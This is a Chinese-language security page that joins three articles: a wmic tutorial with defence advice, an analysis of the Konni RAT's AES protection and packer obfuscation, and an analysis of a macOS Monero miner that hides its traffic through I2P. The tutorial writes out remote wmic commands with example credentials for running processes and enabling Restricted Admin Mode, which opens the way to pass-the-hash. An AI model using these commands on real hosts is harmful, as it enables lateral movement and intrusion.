0x00 前言WMI(Windows Management Instrumentation)是一種管理功能,提供了一個統一的環境來訪問Windows系統組件,支持本地和遠程訪問。在之前的文章《WMI Attacks》 、《WMI Backdoor》 、《WMI Defense》 和《Study Notes of WMI Persistence using wmic.exe》 介紹過相關內容,本文將要在信息收集和橫向移動的角度,分析wmic的常用方法,結合利用思路,給出防禦建議。

0x01 簡介本文將要介紹以下內容:

wbemtest用法

通過wmic查詢主機信息

通過wmic修改註冊表

通過wmic執行程序

本地和遠程訪問WMI服務

0x02 wbemtest用法參考資料:

https://docs.microsoft.com/en-us/mem/configmgr/develop/core/understand/introduction-to-wbemtest

Windows系統默認安裝,可以用於連接WMI命名空間,訪問WMI服務

借助wbemtest,我們可以獲得WMI完整的功能細節和使用方法

界面如下圖

173584b19168096ba15863a0e9c14b9.png

點擊Connect.輸入WMI命名空間root\cimv2,連接到root\cimv2後,可進入主頁面,如下圖

常用功能示例如下:

(1)Enum Classes…

枚舉類,可以用來枚舉所有的對象,查詢每個類的定義

這里以查詢Win32_Process對象為例:

依次選中Enum Classes. - Recursive - OK,選中Win32_Process,雙擊進入對象編輯器,如下圖

Properities欄可以查看屬性,例如這裡有Handle,可以通過後文的Query.進行查詢

Methods欄可以查看方法,例如這裡有Create,可以通過後文的Execute Method.進行調用

(2)Query…

查詢屬性,需要輸入WMI Query Language (WQL)

參考資料:

https://docs.microsoft.com/en-us/windows/win32/wmisdk/wql-sql-for-wmi

語法示例:

SELECTHandleFROMWin32_Process查詢結果如下圖

這條查詢語句換成wmic的命令如下:

wmic/namespace:'\\root\cimv2'PATHWin32_ProcessgetHandle(3)Execute Method…

調用方法,這里以調用Win32_Process對象的Create方法為例

設置Object Path為Win32_Process,點擊OK

在彈出的界面設置設置Method為Create

點擊Edit in Parameters.在彈出的界面中依次選擇CommandLine - Edit Property

設置Valve為calc,如下圖

點擊Save Object - Execute!彈出計算器

以上操作換成wmic的完整命令如下:

wmic/namespace:'\\root\cimv2'PATHWin32_Processcallcreate'calc'簡寫命令如下:

wmicprocesscallcreate'calc'0x03 本地和遠程訪問WMI服務1.查詢主機名稱本地:

wmic/namespace:'\\root\cimv2'PATHWin32_ComputerSystemgetName遠程:

wmic/node:192.168.1.1/user:'administrator'/password:'123456'/namespace:'\\root\cimv2'PATHWin32_ComputerSystemgetName2.註冊表操作具體細節可參考《Study Notes of WMI Persistence using wmic.exe》

這裡列出幾個常用命令:

(1)獲得當前用戶的遠程桌面連接歷史記錄

枚舉註冊表鍵值HKCU:\Software\Microsoft\Terminal Server Client\Servers,命令如下:

wmic/namespace:'\\root\cimv2'pathstdregprovcallEnumKey^h80000001,'Software\Microsoft\TerminalServerClient\Servers'(2)遠程查詢和修改Restricted Admin Mode

關於Restricted Admin Mode的內容可參考《渗透技巧——Pass the Hash with Remote Desktop(Restricted Admin mode)》

遠程查詢和修改Restricted Admin Mode的C Sharp實現可參考:

https://github.com/GhostPack/RestrictedAdmin

https://github.com/airzero24/WMIReg

遠程查詢Restricted Admin Mode的wmic命令如下:

wmic/node:192.168.1.1/user:'administrator'/password:'123456'/namespace:'\\root\cimv2'pathstdregprovcallGetDWORDValue^H80000002,'System\CurrentControlSet\Control\Lsa','DisableRestrictedAdmin'遠程開啟Restricted Admin Mode的wmic命令如下:

wmic/node:192.168.1.1/user:'administrator'/password:'123456'/namespace:'\\root\cimv2'pathstdregprovcallSetDWORDValue^H80000002,'System\CurrentControlSet\Control\Lsa','DisableRestrictedAdmin','0'遠程關閉Restricted Admin Mode的wmic命令如下:

wmic/node:192.168.1.1/user:'administrator'/password:'123456'/namespace:'\\root\cimv2'pathstdregprovcallSetDWORDValue^H80000002,'System\CurrentControlSet\Control\Lsa','DisableRestrictedAdmin','1'3.執行程序本地:

wmicprocesscallcreate'calc'遠程:

wmic/node:192.168.1.1/user:'administrator'/password:'123456'processcallcreate'calc'4.進程操作查詢本地所有進程:

wmic/namespace:'\\root\cimv2'PATHWin32_Processgetname,processid,commandline/FORMAT:list查詢遠程主機所有進程:

wmic/node:192.168.1.1/user:'administrator'/password:'123456'/namespace:'\\root\cimv2'PATHWin32_Processgetname,processid,commandline/FORMAT:list其他用法還可參考:https://docs.microsoft.com/en-us/archive/blogs/jhoward/wmic-samples

0x04 防禦檢測需要注意的是,默認配置下WMI的日誌記錄很少,無法記錄WMI的命令細節

WMI-Activity的Trace日誌能夠記錄簡單的日誌,但也無法記錄WMI的命令細節,開啟方法如下:

打開Event Viewer,選擇View - Show Analytic and Debug Logs

依次選擇Applications and Services Logs - Microsoft - Windows - WMI-Activity - Trace,點擊Enable Log

使用wmic命令時,默認啟動進程c:\windows\system32\wbem\wmic.exe,這裡可以選擇Sysmon記錄進程創建的細節,查看CommandLine獲得WMI的命令細節

詳細日誌細節可參考:https://jpcertcc.github.io/ToolAnalysisResultSheet/details/wmic.htm

也可以選擇開源的數字取證工具Velociraptor,能夠記錄進程創建的細節,包括CommandLine

0x05 小結本文介紹了wmic的相關基礎知識,結合利用思路,給出防禦建議。

photodune-2835222-computer-mouse-m-900x506.jpg

KONNI是一種遠程訪問木馬,至少在8年前就被發現了。使用這款惡意軟件的朝鮮威脅者已經在金蘇基的保護傘下被確認。這個組織一直試圖發起攻擊,主要目標是俄羅斯和韓國的政治機構。

近日,研究人員發現朝鮮APT組織Konni的攻擊活動,該組織向俄羅斯大使館外交官發送以新年問候為主題的電子郵件,以進行情報收集活動。在本次攻擊活動中,最終的植入程序被稱為Konni RAT,其代碼和行為與其以前的版本相似。攻擊中所使用的攻擊鏈與該組織的TTP重疊,包括使用CAB 文件作為感染階段以及使用bat 文件自動安裝Konni RAT 並設為服務。

攻擊鏈攻擊通常開始於惡意Office文檔地利用,當這個文檔被受害者打開時,一個多階段攻擊就開始了,涉及多個步驟。但這些步驟只是攻擊者設法完成提升權限、逃避檢測和部署所需文件任務的方式。正如我們在之前的一篇文章中所描述的,攻擊鏈可以用下圖來概括:

1.png

簡化後的攻擊鏈

可以看到攻擊是從利用惡意Office文檔開始的。當這個文檔被受害者打開時,一個多階段攻擊就開始了,包括各個步驟。但這些步驟只是攻擊者設法完成提升權限、逃避檢測和部署所需文件任務的方式。

攻擊的最終目標是安裝所謂的“KONNI Rat”,這是一個由.ini 文件支持的.dll 文件。簡而言之,dll 文件包含RAT 的功能,ini 文件包含第一個CC 服務器的地址。 KONNI Rat 的一般行為與以前的版本幾乎相同,但我們將在下面介紹一些變化。

不再支持Rundll在之前的KONNI Rat示例中,有兩個途徑。一個處理惡意軟件是否通過Windows服務啟動,另一個通過rundll處理執行。下圖顯示了這兩個過去的途徑,svchost.exe和rundll32.exe字符串可見:

2.png

顯示svchost.exe 和rundll32.exe 字符串的老式主函數

但是,新示例不會顯示這些字符串。實際上,rundll 不再是執行示例的有效方式。相反,當使用rundll 發生執行嘗試時,會在早期階段引發異常。

3.png

rundll 執行產生的異常

在我們分析的早期階段,我們認為他們正在使用經典的進程名稱檢查或任何其他常用技術。現實要簡單得多。實際的導出只是實現了SvcMain 原型,因此程序在訪問其中一個參數時會在某個時候中斷。

在上圖中,我們看到了出現此異常時設備的狀態。此時的RDI 應包含指向一個服務名稱的指針。發生異常是因為Service Main 函數滿足一個原型,而rundll32 將期望另一個不同的原型:

VOIDWINAPISvcMain(DWORDdwArgc,LPTSTR*lpszArgv)

VOIDWINAPIrunnableExport(HWNDhwnd,HINSTANCEhinst,LPSTRlpszCmdLine,intnCmdShow)基本上,在執行過程中,hinst 將被視為lspzArgv,從而導致異常。但為什麼攻擊者要刪除該功能呢?有多種好處。

首先,我們還沒有看到任何最近使用rundll的攻擊。事實上,在最近的攻擊活動中,攻擊者發起KONNI Rat的唯一方式就是註冊一個Windows服務。因此,在真實世界的攻擊中並沒有使用rundll32分支。

但沙盒無法收集示例的真實行為還有另一個重要原因,因為它無法以這種方式執行。

字符串現在使用AES保護多個惡意軟件家族保護他們的字符串,目的就是為了防止字符串分析。 KONNI也不例外,他也使用了這種技術。老式示例使用base64進行模糊處理處理。而且,他們使用的是自定義字母表。為了使解碼任務更加困難,這個習慣字母表不時地發生變化:

4.png

舊的Konni 示例包括他們自定義的base64 字母,後面跟著模糊處理的字符串

現在,攻擊者在這方面做了一個重大的改變,使用AES加密來保護字符串。新的Konni RAT 示例所遵循的算法可以表示如下:

5.png

新的KONNI 示例現在使用AES 加密來保護字符串

這一變化背後的原因是顯而易見的。由於用於解密的密鑰是服務名,不同服務名運行的示例將無法正常工作。此外,在不知道服務名稱的情況下僅擁有示例變得毫無用處,因為這些字符串包含有關示例行為的核心信息。

文件也使用AES進行保護KONNI Rat 在執行時會使用各種支持文件,其中一個文件是.ini 文件,其中包含主要的CC 服務器,但還有其他文件,例如應該最終刪除的.dat 文件,以及用於發送有關計算機的一些基本信息的臨時文件。

調查顯示,所有這些文件都使用AES進行了刪除和保護。巧妙的地方在於,他們重用了用於字符串保護的算法,使文件佈局與受保護的字符串佈局相同,因為它們出現在原始內存中:

6.png

新的KONNI示例現在也使用AES加密來保護文件

從圖中可以看出,文件本身包含了IV和加密的數據。使用的密鑰是從其原始文件名中提取的。在某些情況下,名稱與服務名稱匹配,因此.ini 和.dat 文件中使用的密鑰也是對服務名稱應用SHA256 的結果。

此外,發送到CC 服務器的文件使用AES 進行保護。 IV 是使用QueryPerformanceCounter API CALL 生成的。文件名由表示數據的2個字母和當前時間戳連接而成,後面跟著擴展名。此外,他們將使用這個新生成的名稱作為AES密鑰,因此他們通過請求將這個名稱發送到CC服務器。

7.png

即將發送到服務器的請求片段

由於文件名是使用時間戳自動生成的,因此相同的文件將產生不同的請求內容,因為它們是使用該文件名加密的。因此,網絡簽名也可能無法檢測到此惡意活動。

其他模糊處理技術除了發現一些僅通過我們之前描述的方式受到保護的示例,我們還發現了其他使用身份不明的封裝程序的示例。我們想分享一些關於該封裝程序的註釋,因為其他人可能會發現它在識別和歸因任務中很有用。

指令連續模糊處理模糊處理程序的流程將使用一系列推送調用指令對,其中推送的值將指示程序將採取的行動。下圖可以更好地解釋其過程:

8.png

推送調用指令對

特別值得注意的是,攻擊者在這些對之間放置了隨機字節。這個愚蠢的技巧會導致反編譯程序錯誤的代碼解釋,這些反編譯程序會假定push 指令之後的字節是下一條指令的一部分。下圖顯示了IDA 無法分析代碼的原因:

9.png

與前面的代碼相同,顯示了IDA為何不能表示真正的代碼

模糊處理程序流程使用的封裝程序會模糊處理原始程序流程。這是通過不同的步驟中完成的。第一個需要的步驟是找到Image Base 值,放置在一個固定位置和RIP(指令指針)值。

10.png

EBX 將保存RIP 值

一旦封裝程序知道這兩個值,它就會開始從一個地方跳到另一個地方,使分析變得更加困難。為此,它將存儲在下一個地址的某個寄存器值中以跳轉到寄存器中。這些寄存器的值是在jmp 指令之後立即計算的,使用像POP [reg] - jmp [reg]或ADD [reg1, reg2] - jmp [reg1]這樣的結構。請注意,反編譯程序將無法顯示實際流程,因為跳轉地址是由一個未定義的寄存器確定的。

11.png

顯示最終jmp 變為RBX 的模糊處理代碼

這些簡單技術的組合使封裝程序現在處於流的控制中,但靜態反編譯程序無法表示代碼將遵循的路徑。最後,封裝程序會執行大量的垃圾指令,並最終執行真正有趣的代碼。例如,在IAT 構建任務中,原始代碼在GetProcAddress 調用之間將使用不超過20 條指令。但封裝後的代碼可執行超過30000 條指令。

但根據最近的追踪分析,最近的攻擊不再使用該封裝程序。

總結如上所述,KONNI Rat 每隔一段時間就會更新迭代一次。開發者會不斷改進代碼。在我們看來,他們的努力旨在打破沙盒規則,使檢測更加困難,特別是通過常規簽名,因為可執行文件的關鍵部分現在已加密。

一個Mac 挖礦軟件被發現在其例行程序和I2P 網絡中使用開源組件來隱藏其流量。我們深入研究了這種惡意軟件的舊版本,並分析了最新版本。

挖礦軟件是攻擊者最喜歡應用的惡意軟件類型,一旦安裝在受害者的設備上,它們幾乎不需要維護。攻擊者可以讓挖礦軟件偽裝成合法的應用程序,誘騙易受攻擊的用戶在他們的系統上運行它。在這篇文章中,我們會介紹2022 年1 月上旬發現的貨幣挖礦軟件樣本的分析結果。該樣本使用了幾個經過修改的開源組件,攻擊者對其進行了修改。該樣本還被發現使用i2pd(又名I2P 守護程序)來隱藏其網絡流量。 I2pd 是隱形Internet 協議或I2P 客戶端的C++ 實現。 I2P 是一個通用匿名網絡層,它允許匿名的端到端加密通信,攻擊者不會透露他們的真實IP 地址。以前,其他Mac 惡意軟件樣本(Eleanor、DOK、Keranger)使用Tor 來隱藏其網絡活動,因此i2pd 的這種用法是最新出現的。

攻擊過程主要惡意軟件樣本被檢測為Coinminer.MacOS.MALXMR.H (SHA 256 9518906dc416de6c6a5d17479244cf698b062c1d6b4425d86ee6895ce66c7c39)。這是一個Mach-O 文件,很早就被多家供應商標記,因為它包含與XMRig 相關的字符串,這些字符串很容易被Yara 等採購工具捕獲。 XMRig 是用於挖掘門羅幣加密貨幣的命令行應用程序,由於其可用性和易用性,通常被其他惡意軟件用於執行加密挖掘。

發現主要的Mach-O 樣本是臨時簽名的,如下圖所示。這意味著Mach-O 二進製文件不會輕易在Mac 系統上運行,並且可能會被Gatekeeper 阻止,這是一個內置的安全機制強制執行代碼簽名的macOS 功能。

Mac%20Coinminer%201.webp.jpg

Mach-O 樣本的數字簽名,已經過臨時簽名

我們懷疑Mach-O 樣本以DMG(一種用於壓縮安裝程序的Apple 圖像格式)封裝到Adobe Photoshop CC 2019 v20.0.6。但是,未成功獲取父文件。我們根據下圖中的代碼片段得出了這個結論,該代碼片段可以在其刪除的文件中找到。在此代碼中,示例嘗試啟動/Volumes 路徑中不存在的文件。需要注意的是,對於DMG 文件,當在macOS 上雙擊時,它們默認安裝在/Volumes 目錄中。

2.png

嘗試啟動不存在文件的代碼片段

安裝貨幣挖礦軟件發現主要的Mach-O 樣本(檢測為Coinminer.MacOS.MALXMR.H)包含幾個嵌入式Mach-O 文件。執行時,它利用AuthorizationExecuteWithPrivileges API 通過提示用戶輸入憑據來提升權限。

Mac%20Coinminer%203.webp.jpg

使用AuthorizationExecuteWithPrivileges API 通過提示用戶輸入憑據來提升權限的代碼片段

Mac%20Coinminer%204.webp.jpg

測試期間顯示的用戶提示

然後,該示例會將以下文件放入系統中:

/tmp/lauth

/usr/local/bin/com.adobe.acc.localhost

/usr/local/bin/com.adobe.acc.network

/usr/local/bin/com.adobe.acc.installer.v1用於持久化的lauth 文件lauth 是Mach-O 文件,負責為惡意軟件的持久性例程創建以下文件:/Library/LaunchDaemons/com.adobe.acc.installer.v1.plist。正是這個文件在每次啟動時啟動/usr/local/bin/com.adobe.acc.installer.v1。

5.png

LaunchDaemon plist 文件

該示例還嘗試啟動以下不存在的文件:/Volumes/Adobe Photoshop CC 2019 v20.0.6/Adobe Zii 2019 4.4.2.app/Contents/MacOS/.Patch。

6.png

lauth Mach-O 文件的代碼片段

用於啟動二進製文件的com.adobe.acc.installer.v1 文件com.adobe.acc.installer.v1 文件是com.adobe.acc.installer.v1.plist 在每次啟動時啟動的Mach-O 二進製文件。執行後,它會休眠60 秒,然後啟動以下Mach-O 二進製文件:

/usr/local/bin/com.adobe.acc.localhost

/usr/local/bin/com.adobe.acc.network

7.png

com.adobe.acc.installer.v1 的代碼片段

com.adobe.acc.localhost 挖礦示例Mach-O 二進製文件com.adobe.acc.localhost 負責挖礦示例。該文件是經過修改的XMRig 命令行應用程序。啟動應用時在參數中輸入--help 或--version 即可看到。 --version 參數顯示XMRig 二進製文件的版本,--help 參數顯示可以使用的參數的列表和說明。

8.png

在示例上使用--version 參數時顯示的命令行信息

XMRig 是一個開源、跨平台的命令行應用程序,用於挖掘加密貨幣。用戶可以從命令行輸入他們的挖礦服務器地址以及挖礦服務器的用戶名/密碼作為參數。或者,用戶也可以加載JSON 格式的配置文件,而不是使用參數。

9.png

XMRig 應用程序的命令行選項取自XMRig 網站,https://xmrig.com/docs/miner/command-line-options

對於此示例,我們使用從https://xmrig.com/下載的XMRig 對文件進行了交叉檢查,我們能夠在com.adobe.acc.localhost 二進製文件中觀察到以下JSON 格式的配置文件。我們採購的其他XMRig 二進製文件中不存在此嵌入式配置文件。

10.png

com.adobe.acc.localhost 中嵌入的JSON 格式的配置文件

以下是嵌入式配置文件中的以下值得注意的條目:

挖礦服務器:127.0.0.1:4545

用戶名:pshp

密碼:x

需要注意的是,挖礦服務器地址似乎無效,因為127.0.0.1 地址是本地主機地址。

11.png

惡意軟件樣本(右)和XMRig 二進製文件(左)的比較。請注意惡意軟件樣本使用嵌入式JSON 格式的配置文件。

將/usr/local/bin/com.adobe.acc.network 識別為修改後的i2pd 應用程序在檢查com.adobe.acc.network Mach-O 文件中的可讀字符串後,我們能夠確定它是經過修改的i2pd 應用程序。使用--version 或--help 參數時,命令行中的以下顯示支持這一發現。

12.png

在示例上使用--version 參數時顯示的命令行信息

如前所述,i2pd 是用C++(而不是Java)編寫的I2P 的開源替代實現。

I2P 是一個匿名網絡層(實現為混合網絡),可以躲避安全審查,進行點對點通信。匿名連接是通過加密用戶的流量(通過使用端到端加密)並通過分佈在世界各地的大約55000 台計算機的志願者運行網絡發送來實現的。 I2P 也可以看作是Tor 的替代方案。

我們將惡意軟件二進製文件與從該鏈接下載的相同版本的官方二進製文件進行了比較:https://github.com/PurpleI2P/i2pd/releases/download/2.27.0/i2pd_2.27.0_osx.tar.gz。

由於二進製文件大小約為10 MB,因此查找惡意軟件例程具有挑戰性。正因為如此,我們將注意力集中在官方版本中沒有的可讀字符串和代碼上。然後我們能夠找到以下可疑字符串和相關代碼片段:e4ppgzueqjiam3qvhzffwraakvcgzrjp5dzl3xzv24w6q5rjr7kq.b32.i2p:4545I。

13.png

com.adobe.acc.network 中包含配置信息的代碼片段。請注意,圖像經過編輯以便於查看。

以下信息取自上圖:

14.png

我們查看了i2pd 文檔,我們能夠從以下鏈接中找到一些有用的信息:https://i2pd.readthedocs.io/en/stable/user-guide/tunnels/#client-tunnels。

15.png

i2pd 文檔的屏幕截圖

基於上述信息,我們可以得出結論,到127.0.0.1:4545 的XMRig 流量將通過i2pd 隧道傳輸到e4ppgzueqjiam3qvhzffwraakvcgzrjp5dzl3xzv24w6q5rjr7kq.b32.i2p:4545。我們可以使用lsof 終端命令查看此連接。

16.png

lsof 命令顯示示例訪問的IP 地址和端口

需要注意的是,網站e4ppgzueqjiam3qvhzffwraakvcgzrjp5dzl3xzv24w6q5rjr7kq.b32.i2p:4545只能通過I2P訪問。

發現舊樣本我們使用TLSH、Yara 和其他工具在VirusTotal 和我們的樣本集合中尋找其他類似的樣本。我們能夠找到以下樣本,它們也使用i2pd 將流量隧道傳輸到I2P 網站以下載可能的惡意樣本。

17.png

在分析了較舊的樣本後,我們發現了某些相似之處:

這些樣本被懷疑偽裝成Adobe Photoshop 或Logic Pro X。

所有五個示例都使用i2pd 訪問同一個i2pd 下載服務器。

下載服務器託管多個文件。

一些樣本利用隨機文件名和零字節填充來逃避檢測。

觀察到四個樣品具有持久性常規,一個示例嘗試覆蓋已安裝的Adobe Photoshop 應用程序中的Mach-O 可執行文件。

懷疑所有樣本都封裝在DMG 文件中,因為這些樣本嘗試從默認掛載DMG 文件的/Volumes 目錄啟動或複制。

對於下載的後綴為“_md5”的文件,其內容預計為md5哈希。哈希值將與其他下載文件的md5 哈希值進行比較。如果它們不相等,帶有“_md5”後綴的文件將重試下載。

對於較舊的示例,創建了兩個隧道,但只使用了127.0.0.1:4546。最新的挖礦軟件樣本只創建了一個隧道:127.0.0.1:4545。

18.png

lsof 命令顯示了舊樣本訪問的IP 地址和端口

總結我們調查了一個使用多個個性化開源應用程序來增強其惡意程序的挖礦軟件樣本。我們發現,即使修改很小,它們似乎也很有效。我們還發現,該惡意軟件利用i2pd 將其網絡流量隱藏在未經訓練的人眼中,這與其他使用知名Tor 的惡意軟件不同。